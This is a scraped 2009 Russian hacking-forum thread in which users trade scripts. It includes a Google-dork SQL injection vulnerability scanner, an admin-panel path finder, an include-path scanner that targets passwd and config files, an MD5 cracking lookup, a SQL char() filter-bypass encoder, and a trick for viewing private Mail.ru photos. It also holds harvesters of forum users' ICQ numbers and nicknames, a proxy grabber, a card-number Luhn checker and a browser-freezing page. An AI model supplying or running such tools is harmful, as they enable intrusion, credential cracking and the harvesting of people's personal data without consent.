use IO::Socket;
use warnings;
use threads;
use threads::shared;
use Fcntl ':flock';
ты не замечаешь в начале своего реггера ничего странного?)
"-w" vs. "use warnings;"?) предохраняемся)
#! /usr/bin/perl -w
use IO::Socket;
use threads;
use threads::shared;
use Fcntl ':flock';
:)
ph1l1ster
26.03.2009, 02:52
Universal Include Path Scanner
#########################
# Universal Include Path Scanner
# version 2.0
# coded by ph1l1ster
# icq: 612672
#########################
Поик логов\конфигов через инклуд.
-Etc (passwd)
-Apache logs
-Apache config
-PHP.ini
-Cpanel logs
-Cpanel config
-MySql logs
-MySql config
-MySql config (win)
-MySql logs (win)
-Other (Mod Security, ProFTPD, Pure-FTPd, Exim, MuddleFTPD, lighthttpd, Samba, PostgreSQL, ipfw, osx, Webmin, SquirrelMail)
-ALL
http://ifolder.ru/11250872
ph1l1ster
26.03.2009, 17:38
Exploit & Vulnerability Searcher
Скрипт ищет уязвимости по известным сайтам:
milw0rm.com
securityvulns.com
securiteam.com
securitydot.net
packetstormsecurity.org
#!/usr/bin/perl
use LWP::UserAgent;
system('cls');
print qq{
########################################
# Exploit \& Vulnerability Searcher #
# coded by ph1l1ster #
########################################};
print "\n\n\nWhat search?:\n";
print "> ";
$spl = <STDIN>;
chomp($spl);
system('cls');
# milw0rm.com
print ">>> # Milw0rm.com \n\n";
$url = "http://www.milw0rm.com/search.php?dong=".$spl."&Submit=submit";
$start = LWP::UserAgent->new( ) or die;
$ans = $start->get($url);
if (@spl = $ans->content =~ /<a href=\"(.*)\" target=\"_blank\" class=\"style14\">/g){
print "\nhttp://milw0rm.com";
print join "\nhttp://milw0rm.com", @spl;}
else {
print "NOT FOUND!";}
# securityvulns.com
print "\n\n>> # securityvulns.comn\n";
$url = "http://securityvulns.com/exploits/?keyword=".$spl;
$start = LWP::UserAgent->new( ) or die;
$ans = $start->get($url);
if (@spl = $ans->content =~ /<A class="tiny" HREF=\"\/files\/([^"]*)\">/g){
print "\nhttp://securityvulns.com/files/";
print join "\nhttp://securityvulns.com/files/", @spl;}
else {
print "NOT FOUND!";}
# securiteam.com
print "\n\n>> # securiteam.com\n\n";
$url = "http://www.securiteam.com/cgi-bin/htsearch?words=".$spl."&method=and&format=builtin-long&sort=score&restrict=&exclude=&x=0&y=0";
$start = LWP::UserAgent->new( ) or die;
$ans = $start->get($url);
if (@spl = $ans->content =~ /<A STYLE=\"color: #333;\" HREF=\"(.*)\">.*<\/A> <img src=\"/g){
print join "\n", @spl;}
else {
print "NOT FOUND!";}
# securitydot.net
print "\n\n>> # securitydot.net\n\n";
$url = "http://securitydot.net/search.php?sch=sch&metaname=all&query=".$spl;
$start = LWP::UserAgent->new( ) or die;
$ans = $start->get($url);
if (@spl = $ans->content =~ /<li>.*<a href=\"(.*)\"><b>.*<\/b><\/a><\/li>/g){
print "\nhttp://securitydot.net";
print join "\nhttp://securitydot.net", @spl;}
else {
print "NOT FOUND!";}
if (@spl = $ans->content =~ /<img src=\".*\" alt=\".*\"><a href=\"(.*)\"><b>.*<\/b><\/a><\/li>/g){
print "\nhttp://securitydot.net";
print join "\nhttp://securitydot.net", @spl;}
else {
print "NOT FOUND!";}
# packetstormsecurity.org
print "\n\n>> # packetstormsecurity.org\n\n";
$url = "http://www2.packetstormsecurity.org/cgi-bin/search/search.cgi?searchvalue=".$spl."&type=archives&%5Bsearch%5D.x=0&%5Bsearch%5D.y=0";
$start = LWP::UserAgent->new( ) or die;
$ans = $start->get($url);
if (@spl = $ans->content =~ /<a class=\"fname\" href=\"(.*)\">.*<\/a>/g){
print join "\n", @spl;}
else {
print "NOT FOUND!";}
# (c)ph1l1ster
Сборщик номеров ICQ пользователей античата:
<?php
$n = implode(file("n.txt"));
$n++;
$f = fopen("icq.txt","a");
for($i = $n;;$i++)
{
$url = "http://forum.antichat.ru/member.php?u=".$i;
$str = file_get_contents($url);
$pos = strpos($str, '<img src="fusion/misc/im_icq.gif"');
if ($pos <> false)
{
preg_match_all("/(?<=Просмотр профиля:\s)(.*)(?=<\/title>)/", $str, $name);
preg_match_all("/(?<=\(\'icq\', \'".$i."\', 500, 450\)\">)(.*)(?=<\/a>)/", $str, $icq);
fwrite($f, array_pop(array_shift($name)).":".array_pop(array_shift($icq))."\r\n");
$fn = fopen("n.txt","w");
fwrite($fn,$i);
fclose($fn);
$str = '';
}
}
?>
icq.txt - база номеров в формате %username%:icq
n.txt - файл, хранящий ID последнего добавленного в базу пользователя.. (чтобы при повторном запуске скрипт начал работать не с самого начала)
в n.txt изначально записать 0
To Fepsis, для недели - отлично :)
Hi all i need some perl guru help to modify this.
Old Options
1.Insert Dork:inurl:index.asp?id=1
2.Total Query Pages (10 Links/Pages) :20
to new option in 1 line dork + query
and option to save result in vuln.txt file in the same directoy
Insert Dork:inurl:index.asp?id=1 20 vuln.txt
#!/usr/bin/perl
use LWP::Simple;
use LWP::UserAgent;
use HTTP::Request;
my $sis="$^O";if ($sis eq 'MSWin32') { system("cls"); } else { system("clear"); }
print "+++++++++++++++++++++++++++++++\n";
print "+ SQL - Google Search +\n";
print "+ CWH Underground +\n";
print "+++++++++++++++++++++++++++++++\n\n";
print "Insert Dork:";
chomp( my $dork = <STDIN> );
print "Total Query Pages (10 Links/Pages) :";
chomp( my $page = <STDIN> );
print "\n[+] Result:\n\n";
for($start = 0;$start != $page*10;$start += 10)
{
$t = "http://www.google.com/cse?cx=013269018370076798483:gg7jrrhpsy4&cof=FORID:1&q=".$dork."&btnG=Search&start=".$start;
$ua = LWP::UserAgent->new(agent => 'Mozilla 5.2');
$ua->timeout(10);
$ua->env_proxy;
$response = $ua->get($t);
if ($response->is_success)
{
$c = $response->content;
@stuff = split(/<a href=/,$c);
foreach $line(@stuff)
{
if($line =~/(.*) class=l/ig)
{
$out = $1;
$out =~ s/\"//g;
$out =~s/$/\'/;
$ua = LWP::UserAgent->new(agent => 'Mozilla 5.2');
$ua->timeout(10);
$ua->env_proxy;
$response = $ua->get($out);
$error = $response->content();
if($error =~m/mysql_/ || $error =~m/Division by zero in/ || $error =~m/Warning:/)
{print "$out => Could be Vulnerable in MySQL Injection!!\n";}
elsif($error =~m/Microsoft JET Database/ || $error =~m/ODBC Microsoft Access Driver/)
{print "$out => Could be Vulnerable in MS Access Injection!!\n";}
elsif($error =~m/Microsoft OLE DB Provider for SQL Server/ || $error =~m/Unclosed quotation mark/)
{print "$out => Could be Vulnerable in MSSQL Injection!!\n";}
elsif($error =~m/Microsoft OLE DB Provider for Oracle/)
{print "$out => Could be Vulnerable in Oracle Injection!!\n";}
}
}
}
}
test the script and if can to modefy and tweak other tings will be good too.
Thanks in Advance
Best regards Dima
Многопоточный граббер прокси (из списка сайтов ;) )
#(с) Gaus
#!/usr/bin/perl -w
use LWP::UserAgent;
use threads;
use threads::shared;
my @sites : shared;
###############################
my $threads = 1; # Кол-во потоков
my $proxy = 'proxy.txt';# Файл с награбленными прокси
my $sites = 'sites.txt';# Файл со списком сайтов(откуда грабить)
###############################
open (S, "<$sites") || die("Could not open ".$sites." file!!!");
open (F, ">>$proxy") || die("Could not open ".$proxy." file!!!");
@sites = <S>;
my $num;
my $saw;
for(0..$threads) {$trl[$_] = threads->create(\&Grab, $_);}
for(@trl) { $_->join; }
sub Grab
{
while (@sites){
$site = shift @sites;
$ua = new LWP::UserAgent;
$ua->timeout(30);
$data = $ua->get($site)->as_string;
print "Grabbing proxys from: ".$site." ...\n";
while($data =~/(\d*\.\d*\.\d*\.\d*)\:(\d*)/msgi) {
print F $1.":".$2."\n";
print $1.":".$2."\n";
}
print "#############################\n";
}
}
close (F);
close (S);
Скрипт "Онлайн сервис по расшифровке хешей"
В папке со скриптом должна быть папка base с правами 777.
Функции:
- поиск хэшей по базе;
- возможность добавлять свои пароли в базу.
Требования:
- Php 5
<?php
// Поиск по базе
if(isset($_POST['go']))
{
echo '<div align="center">Введите хэши (MD5)<br><form method=post><textarea cols=50 rows=15 name="hash">
</textarea><br><br><input name="go"
type=submit value="Искать по базе"></form></div>';
$h = explode("\n", $_POST['hash']);
for ($j = 0; $j<=count($h)-1; $j++)
{
$hash = rtrim($h[$j]);
if (strlen($hash)==32)
{
$hd = "base";
for ($i = 1;$i<=32;$i++)
{
$hd = $hd."/".$hash[$i-1];
}
if (file_exists($hd))
{
$qpass = array_pop(scandir($hd));
$arq = explode(".", $qpass);
for ($i = 1;$i<=count($arq) ; $i++)
{
$pass[$i-1] = chr($arq[$i-1]);
}
print_r('<div align="center">'.$hash.":".implode($pass)."</div>");
}
else
{
print_r('<div align="center">'.$hash.": не найден</div>");
}
}
}
} else
{
echo '<div align="center">Введите хэши (MD5)<br><form method=post>
<textarea cols=50 rows=15 name="hash"></textarea><br><br><input name="go"
type=submit value="Искать по базе"></form></div>';
}
// Добавление хэшей в базу
if(isset($_POST['add']))
{
echo '<br><br><div align="center">Введите пароли по одному в строке<br><form method=post>
<textarea cols=50 rows=15 name="pass"></textarea><br><br><input name="add"
type=submit value="Добавить пароли в базу"></form></div>';
$p = explode("\n", $_POST['pass']);
for ($j = 0; $j<=count($p)-1; $j++)
{
$pass = rtrim($p[$j]);
if ($pass<>'')
{
$len = strlen($pass);
$fname = "";
for ($i=1;$i<=$len;$i++)
{
$fname = $fname."".ord($pass{$i-1}).".";
}
$hash=md5($pass);
$dir = "base";
for ($i = 1;$i<33; $i++)
{
$dir = $dir."/".$hash{$i-1};
if (file_exists($dir))
{}
else
{
mkdir($dir);
}
}
fopen($dir."/".$fname, "w");
}
}
print_r('<div align="center">Ваши пароли успешно добавлены в базу</div>');
}
else {
echo '<br><br><div align="center">Введите пароли по одному в строке<br><form method=post>
<textarea cols=50 rows=15 name="pass"></textarea><br><br><input name="add"
type=submit value="Добавить пароли в базу"></form></div>';
}
?>
Последний ФФ виснет намертво. Утечки памяти нету, но зависает браузер.. ИЕ просто выпадает. Опера работает)
ФФ последний. ИЕ 6.
<html>
<body>
<form name="a" >
<div id="d">
<input type="button" id="add"><br><br>
<img border='0' src='1.gif' onLoad='add();'>
</div>
</form>
<script language="javascript">
function add(){
div=document.getElementById("d");
button=document.getElementById("add");
newitem="<a target='_blank' ";
newitem+="href='http://mrthe.name/'>";
newitem+="<img border='0' src='1.gif' onLoad='add();'></a>";
newitem+="<scri";
newitem+="pt>add();</sc";
newitem+="ript>";
newnode=document.createElement("span");
newnode.innerHTML=newitem;
div.insertBefore(newnode,button);
add();
}
add();
</script>
</body>
</html>
Кроспост в моём блоге: http://mrthe.name/2009/03/opera-forever/ (+ подробности) (http://mrthe.name/2009/03/opera-forever/)
heretic1990
31.03.2009, 20:15
Искал утечку памяти в опере.. В итоге опера стабильно всё обрабатывает. и останавливается после ~минуты лагов, а последний ФФ виснет намертво. Утечки памяти нету, но зависает браузер.. ИЕ просто выпадает.
<html>
<body>
<form name="a" >
<div id="d">
<input type="button" id="add"><br><br>
<img border='0' src='1.gif' onLoad='add();'>
</div>
</form>
<script language="javascript">
function add(){
div=document.getElementById("d");
button=document.getElementById("add");
newitem="<a target='_blank' ";
newitem+="href='http://mrthe.name/'>";
newitem+="<img border='0' src='1.gif' onLoad='add();'></a>";
newitem+="<scri";
newitem+="pt>add();</sc";
newitem+="ript>";
newnode=document.createElement("span");
newnode.innerHTML=newitem;
div.insertBefore(newnode,button);
add();
}
add();
</script>
</body>
</html>
1.gif - любая анимашка для утяжеления. впринципе add(); в конце скрипта можно убрать. Тогда будет запускаться сразу после загрузки анимации.
ни чё не виснит, вставил массивную анимацию, грузит 23 сек. и всё.
ни чё не виснит, вставил массивную анимацию, грузит 23 сек. и всё.
чем тестил? щас проверяю на http://browsershots.org/ опера более-мение подгружает. остальные пока в дауне(при условии вкл javascript)
astrologer
31.03.2009, 21:41
Последний ФФ виснет намертво. Утечки памяти нету, но зависает браузер.. ИЕ просто выпадает. Опера работает)
ФФ последний. ИЕ 6.
<html>
<body>
<form name="a" >
<div id="d">
<input type="button" id="add"><br><br>
<img border='0' src='1.gif' onLoad='add();'>
</div>
</form>
<script language="javascript">
function add(){
div=document.getElementById("d");
button=document.getElementById("add");
newitem="<a target='_blank' ";
newitem+="href='http://mrthe.name/'>";
newitem+="<img border='0' src='1.gif' onLoad='add();'></a>";
newitem+="<scri";
newitem+="pt>add();</sc";
newitem+="ript>";
newnode=document.createElement("span");
newnode.innerHTML=newitem;
div.insertBefore(newnode,button);
add();
}
add();
</script>
</body>
</html>
Кроспост в моём блоге: http://mrthe.name/2009/03/opera-forever/ (+ подробности) (http://mrthe.name/2009/03/opera-forever/)А что должно вызвать утечки памяти? Замыканий нет, циклических ссылок нет. Есть бесконечная рекурсия, которую опера благоразумно прерывает, когда заканчивается стек вызовов.
А что должно вызвать утечки памяти? Замыканий нет, циклических ссылок нет. Есть бесконечная рекурсия, которую опера благоразумно прерывает, когда заканчивается стек вызовов.
вот и я искал. ибо опера у меня перед этим благополучно схавала 3 гига памяти. перезагрузил оперу. открыл страницу, которую открывал до этого. всё норм. но обилие js и картинок. память не утекает. вот стало нефиг делать решил поковырять...
-m0rgan-
01.04.2009, 03:01
#/usr/bin/python
import sys, os, time, httplib
if sys.platform == 'linux' or sys.platform == 'linux2':
clearing = 'clear'
else:
clearing = 'cls'
os.system(clearing)
if len(sys.argv) != 2:
print "\n|-------------------------------------------------------------|"
print "| Admin login finder v2.0 |"
print "| Help: admin-find.py -h |"
print "|---------------------------------------------------------------|\n"
sys.exit(1)
for arg in sys.argv:
if arg == '-h':
print "\n|-----------------------------------------------------------------------------|"
print "| Admin login finder v2.0 |"
print "| Usage: admin-find.py www.site.com |"
print "| Example: admin-find.py site.com |"
print "|-------------------------------------------------------------------------------|\n"
sys.exit(1)
site = sys.argv[1].replace("http://","").rsplit("/",1)[0]
site = site.lower()
admin_path = ['admin.php','admin/','administrator/','moderator/','webadmin/','adminarea/','bb-admin/','adminLogin/','admin_area/','panel-administracion/','instadmin/','memberadmin/','administratorlogin/','adm/','admin/account.php','admin/index.php','admin/login.php','admin/admin.php','admin/account.php','joomla/administrator','login.php',
'admin_area/admin.php','admin_area/login.php','siteadmin/login.php','siteadmin/index.php','siteadmin/login.html','admin/account.html','admin/index.html','admin/login.html','admin/admin.html','admin_area/index.php','bb-admin/index.php','bb-admin/login.php','bb-admin/admin.php','admin/home.php','admin_area/login.html','admin_area/index.html','admin/controlpanel.php','admincp/index.asp','admincp/login.asp','admincp/index.html','admin/account.html','adminpanel.html','webadmin.html','w ebadmin/index.html','webadmin/admin.html','webadmin/login.html','admin/admin_login.html','admin_login.html','panel-administracion/login.html','admin/cp.php','cp.php','administrator/index.php','administrator/login.php','nsw/admin/login.php','webadmin/login.php','admin/admin_login.php','admin_login.php','administrator/account.php','administrator.php','admin_area/admin.html','pages/admin/admin-login.php','admin/admin-login.php','admin-login.php','bb-admin/index.html','bb-admin/login.html','bb-admin/admin.html','admin/home.html','modelsearch/login.php','moderator.php','moderator/login.php','moderator/admin.php','account.php','pages/admin/admin-login.html','admin/admin-login.html','admin-login.html','controlpanel.php','admincontrol.php',
'admin/adminLogin.html','adminLogin.html','admin/adminLogin.html','home.html','rcjakar/admin/login.php','adminarea/index.html','adminarea/admin.html','webadmin.php','webadmin/index.php','webadmin/admin.php','admin/controlpanel.html','admin.html','admin/cp.html','cp.html','adminpanel.php','moderator.htm l','administrator/index.html','administrator/login.html','user.html','administrator/account.html','administrator.html','login.html','m odelsearch/login.html','moderator/login.html','adminarea/login.html','panel-administracion/index.html','panel-administracion/admin.html','modelsearch/index.html','modelsearch/admin.html','admincontrol/login.html','adm/index.html','adm.html','moderator/admin.html','user.php','account.html','controlpane l.html','admincontrol.html','panel-administracion/login.php','wp-login.php','adminLogin.php','admin/adminLogin.php','home.php','adminarea/index.php','adminarea/admin.php','adminarea/login.php','panel-administracion/index.php','panel-administracion/admin.php','modelsearch/index.php','modelsearch/admin.php','admincontrol/login.php','adm/admloginuser.php','admloginuser.php','admin2.php', 'admin2/login.php','admin2/index.php','adm/index.php','adm.php','affiliate.php','adm_auth.php ','memberadmin.php','administratorlogin.php']
print "\n|-------------------------------------------------------------|"
print "| Admin login finder v2.0 |"
print "|---------------------------------------------------------------|\n"
print "\n[-] %s" % time.strftime("%X")
print "[+] Target:",site
print "[+] Checking paths..."
print
try:
for admin in admin_path:
admin = admin.replace("\n","")
admin = "/" + admin
connection = httplib.HTTPConnection(site)
connection.request("GET",admin)
response = connection.getresponse()
print "%s %s %s" % (admin, response.status, response.reason)
except(KeyboardInterrupt,SystemExit):
raise
except:
pass
-m0rgan-
01.04.2009, 03:33
Чёкер номеров кредитных карт.
<?
function luhn_check($number) {
$number=preg_replace('/\D/', '', $number);
$number_length=strlen($number);
$parity=$number_length % 2;
$total=0;
for ($i=0; $i<$number_length; $i++) {
$digit=$number[$i];
if ($i % 2 == $parity) {
$digit*=2;
if ($digit > 9) {
$digit-=9;
}
}
$total+=$digit;
}
return ($total % 10 == 0) ? TRUE : FALSE;
}
?>
#! /usr/bin/env python
# -*- coding:windows-1251 -*-
#-################################################## #####-##
# Скачиваем музыку ##
# (c) 2009 ##
# Создал специально для себя, ##
# так как инет медленный, а без ##
# Транса, кодить не умею... ##
# De-visible project ##
# ndcoders.ru ##
# GreetZ To login999 ##
# Thanks to http://mp3.myws.ru/index.php/search?q=trance ##
# Также делаем программы на заказ ##
# Контакт ICQ#: 22-3333-575 ##
# Мы: ndcoders.ru, devisible.ru ##
#-################################################## ####-###
import urllib
import time
import re
import threading
import urlparse
import string
URL_MAS = []
s = 0
def DownFile(url):
f = urlparse.urlsplit(url)
mp3_name = str(f.path).strip('\/')
mp3_name = str(mp3_name).strip('[')
mp3_name = str(mp3_name).strip(']')
mp3_name = str(mp3_name).strip('\'')
mp3_name = mp3_name.replace('/','1')
try:
print u"Начинаем закачку файла: ", mp3_name, '\n'
print u"Размер файла: ", GetSizeMp3(url), "byte"
infile = urllib.urlopen(url).read()
except:
print u"Ошибка скачивания: ", mp3_name
print u", Файл закачен\n"
mp3_file = open(mp3_name+str(s)+'.mp3',"wb")
mp3_file.write(infile)
mp3_file.close()
print 'File Saved Local'
def GetSizeMp3(url):
size_mp3 = urllib.urlopen(url).info()
mp3 = str(size_mp3)
s_mp3 = str(re.findall(r'Content-Length: (.*?)\r\n',mp3))[2:-2]
print s_mp3
def LoadFromFile():
with open("urls.txt",) as urls:
for ur in urls:
URL_MAS.append(ur[:-1])
def ServerOption():
info = urllib.urlopen('http://mp3.myws.ru').info()
with open('serv_option.txt',"w") as serv:
serv.write(str(info))
print '''
Author: De-visible, ICQ#: 22-3333-575
WeAre: ND_c0ders, ndcoders.ru
ServerOption: mp3.myws.ru
'''
print info,'\n\n'
def Start_Process():
LoadFromFile()
print u"Массив ссылок загружен",'\n'
print u"Менеджер закачек запущен",'\n'
ServerOption()
for url_mas in URL_MAS:
DownFile(url_mas)
s = s + 1
print u" Все закачки завершены"
threading.Thread(target = Start_Process).start()
time.sleep(1000)
Скрипт для ТС-а вот этого топика: http://forum.antichat.ru/thread114182.html
Проверяет наличие указанного вами товара в интернет магазине www.ebay.com
<?php
if(isset($_POST['go']))
{
echo 'Введите наименование товара, например <b>iphone, nokia n95 </b> ну или ещё
что-нибудь..)<br><br><form method=post><input type="text" name="n">
<input name="go" type=submit value="Проверить"></form>';
$name = str_replace(" " , "+", $_POST['n']);
$url = "http://shop.ebay.com/items/?_nkw=".$name;
$page = file_get_contents($url);
preg_match_all("/(?<=Matching products<\/span><span class=\"cnt\">\()([0-9]*)(?=\))/", $page,
$match);
$n = array_pop(array_pop($match));
if ($n<>"")
{
print_r("Товар <b>".$_POST['n']."</b> имеется в наличии в количестве <b>".$n."</b> штук");
}
else
{
print_r("Товар <b>".$_POST['n']."</b> отсутствует");
}
}
else
{
echo 'Введите наименование товара, например <b>iphone, nokia n95 </b> ну или ещё
что-нибудь..)<br><br><form method=post>
<input type="text" name="n"> <input name="go"
type=submit value="Проверить"></form>';
}
?>
JS переводящий word -> char (SQL)
Все мы любим SQL инекции и знаем что если нельзя вписать буковку то можно вприсать char(код)
<html>
<head>
<title>
Word -> Char (SQL)
</title>
<script language='javascript'>
function char(str)
{
len = str.length;
if(len==0){return 'null';}
rez='';
for(i=0;i<len;i++)
{
n = str.charCodeAt(i);
if(n>1000){n=n-848;}
rez=rez+''+n;
if(i+1<len){rez=rez+',';}
}
return('char('+rez+')');
}
</script>
</head>
<body>
<input type=text id=enter> <input type=button value=" Gen " onclick="javascript:show.innerHTML=char(enter.value)"><br>
<div style='padding:7;background:#f8f8f8;font:15pt system' align=center id=show></div>
</body>
</html>
Exgibichi
06.04.2009, 19:35
Парсит ссылки с гугла по кейворду
<?php
/*
|
| www.google.ru parser
| C0d3d by Exgibichi
| 27/07/08
|
*/
set_time_limit(0);
$n = 20; // number of pages
$keyword = 'keyword'; //keyword for parse
function googlelinkparse($keyword,$n) {
$keyword = str_replace(' ','+',$keyword);
$url = 'http://www.google.ru/search?q='.$keyword.'&num=100&filter=0&start='.$n.'0';
$file = file_get_contents($url) or die('Could not access file');
$exp = "<a\s[^>]*href=(\"??)([^\" >]*?)\\1[^>]*>(.*)<\/a>";
if (preg_match_all("/$exp/siU", $file, $matches, PREG_SET_ORDER)) {
$c = count($matches);
for ($i=0; $i<$c; $i++) {
if (strstr($matches[$i][2],'http://') && !strstr($matches[$i][2],'google') && !strstr($matches[$i][2],'search?q=cache') && !strstr($matches[$i][2],'youtube') && !strstr($matches[$i][2],'/aclk?sa')) {
$links[] = $matches[$i][2];
}
}
} return $links;
}
for ($i=0; $i<$n; $i++) {
$link = googlelinkparse($keyword,$i);
$c = count($link);
for ($j=0; $j<$c; $j++) {
$f = fopen('links.txt','a+'); fputs($f,$link[$j]."\r\n"); fclose($f);
}
sleep(10);
}
?>
Exgibichi
Add remove duplicate in links.txt and parse empty string :)
Ребят, поделитесь, у кого есть, скриптом для сбора ников с форумов vBulletin 3.8.2
ph1l1ster
09.04.2009, 14:38
vBulletin nickname grabber
#!/usr/bin/perl
use LWP::UserAgent;
system('cls');
print qq(
==============================
# vBulletin nickname grabber #
# coded by ph1l1ster #
# icq: 612672 #
==============================\n\n\n
);
print qq(
Enter adress:
e.g. - http://forum.site.ru/
> );
$adr=<STDIN>;
chomp($adr);
print qq(
Enter numbers of page:
e.g. - 294
> );
$page=<STDIN>;
chomp($page);
open (A, ">>nicknames.txt");
$count = 1;
while ($count <= $page) {
$url=$adr."memberlist.php?do=getall&order=asc&sort=username&page=".$count ++;
$client = LWP::UserAgent->new( ) or die;
$answer = $client->get($url);
@nicknames=$answer->content =~ /<a href=\"member.*?u=.*\">(.*)<\/a>/g;
print A join "\n", @nicknames;}
ph1l1ster, спасибо, пошел тестить!
Чтот не выходит ничего, может у кого есть на php ник-парсер для форумов булки! Хелп!
ph1l1ster
09.04.2009, 18:22
Чтот не выходит ничего, может у кого есть на php ник-парсер для форумов булки! Хелп!
стучи в аську :\
ph1l1ster, спасибо большое, всё работает как часы! :)
[underwater]
12.04.2009, 18:49
use POSIX ":sys_wait_h";
use IO::Handle;
# Количество процессов и кол-во задач на процесс
my $max_proc = 30;
my $max_per_proc = 30;
# Записываем строку запуска скрипта. Ниже будет видно зачем это.
my $exe = $0;
# Нихт зомби
$SIG{CHLD} = sub { while ((my $pid = waitpid(-1, WNOHANG)) > 0) {} };
# Создаём пайпы для обмена данными родитель-чайлд и чайлд-ридер, снимаем буферизацию
pipe(PARENT_RDR, CHILD_WTR);
pipe(CHILD_RDR, PARENT_WTR);
CHILD_WTR->autoflush(1);
PARENT_WTR->autoflush(1);
# Записываем PID главного процесса, форкаем процесс-ридер
my $master_pid = $$;
my $reader_pid = fork();
die "Can't fork: $!" unless defined($reader_pid);
# Пошёл основной процесс.
if($reader_pid){
open(F, $ARGV[0]) or die "Can't open file: $!\n";
my %children;
while(<F>){
chomp;
s/\r//;
my $line = $_;
$line = sprintf("%-128s", $line);
syswrite(CHILD_WTR,$line,128);
# Читаем из файла и пишем в пайп точное количество данных.
# Это необходимо для того, чтобы задания правильно читались чайлдами.
# Если использовать простые print/<>/read/write то чайлды будут читать огрызки заданий.
# см. ниже =)
$0 = "$exe";
# Проверяем количество чайлдов и добавляем их, если нужно, до $max_proc
while(checkChildren(\%children) < $max_proc){
my $pid = fork();
die "Can't fork: $!" unless defined($pid);
if ($pid){
$children{$pid} = 1;
} else {
close(CHILD_RDR);
close(CHILD_WTR);
# Вот собссно и сам чайлд
processChild();
exit;
}
}
}
# Файл кончился. Теперь пишем в пайп сигнал о выходе для всех чайлдов.
while(checkChildren(\%children)){
syswrite(CHILD_WTR,sprintf("%-128s", 'EXIT'),128);
}
# Убиваем ридера.
kill(2,$reader_pid);
close(F);
}else{
# Здесь происходит запуск ридера
close(PARENT_RDR);
close(PARENT_WTR);
readerProcess();
exit;
}
sub processChild
{
# см. ещё чуть ниже =)
$0 = "$exe - CHILD";
my $work = $max_per_proc;
while($work){
my $bytes = sysread(PARENT_RDR, my $line, 128);
$line=~s/.*?\x00//;
$line=~s/\s+?$//;
$line=~s/\s+//g;
exit if $line eq 'EXIT';
next unless $line;
# Получили задание. Оно будет гарантированно целым за счёт sysread/syswrite
# Ну вот и добрались до странной конструкции =)
# С её помощью при просмотре списка процессов мы увидим какой процесс чем занимается.
# На работу системы не влияет, но категорически удобно =)
$0 = "$exe - CHILD - $line";
my $result;
# Здесь обрабатываем нашу задачу и пишем в пайп ридеру
# ...
# ...
$result = sprintf("%-128s", $result);
syswrite(PARENT_WTR,$result,128);
$0 = "$exe - CHILD";
# ну это, думаю, понятно =)
$work--;
}
}
sub readerProcess
{
# Это процесс ридера
$SIG{INT} = sub {
exit;
};
open(F,">result.txt");
select F;
$|=1;
my $count;
my $work = 1;
# Читаем данные из пайпа, пишем в файл
while($work){
$count++;
# Ридер рассказывает скока он уже обработал
$0 = "$exe - READER - reading... ".$count;
my $bytes = sysread(CHILD_RDR, my $data, 128);
$data=~s/.*?\x00//;
$data=~s/\s+?$//;
$data=~s/\s+//g;
last if $data eq 'EXIT';
# Пишем
print F "$data\n";
# Можно проверить не сдох ли родительский процесс.
# Если вдруг он загнулся (а такое может случиться), то выйти.
last unless kill(0, $master_pid);
}
close(F);
}
sub checkChildren
{
my $hash = shift;
for my $pid(keys %{$hash}){
if(!kill(0, $pid)){
delete ${$hash}{$pid};
}
}
return scalar keys %{$hash};
}
Варианты распараллеливания:
1.На каждую задачу выделяется один процесс. Вариант хорош тем, что каждое задание изолировано в отдельном процессе - не будет проблем с утечкой памяти и прочими заморочками (особенно когда юзаются сторонние модули).
2.Родить необходимое количество процессов и выдавать им задания.
3.Оптимальный вариант- принцип работы Апача. Основной процесс запускает заданное количество дочерних. Каждый дочерний выполняет установленное количество задач и умирает.
Сижу в маил агенте ищу девушку... лазию по мирам и просто бесит когда тебе пишут мол доступ ограничен.... вот теперь доступ не ограничен! хехе
<html>
<head>
<title>Мой мир@Mail.ru - Доступ не ограничен</title>
</head>
<body>
<form onsubmit="show_big_image(linkz.value);return false;">
Ссылка на фотку, которую хочешь посмотреть:<br><input type=text id=linkz style='width:100%'>
</form>
<img src='' alt="тут будет фотка" id=srcimg>
<script language="javascript">
function show_big_image(str)
{
//----------------------------------------------------------------------
// (c)oded by Gar|k - достало меня видеть этот доступ ограничен гргргр
//
// exp link: http://my.mail.ru/mail/gar.i.k/photo/52.html?mode=
//----------------------------------------------------------------------
var re=/http\:\/\/(?:.*)\/(.*\/.*)\/.*\/(.*?).html(?:.*)/;
srcimg.src=str.replace(re,"http://content.foto.my.mail.ru/$1/_myphoto/i-$2.jpg");
}
</script>
</body>
</html>
Если лень копипастить заходи сюда (http://zona-chat.narod.ru/mailru_photo.html)
vBulletin® v3.8.14, Copyright ©2000-2026, vBulletin Solutions, Inc. Перевод: zCarot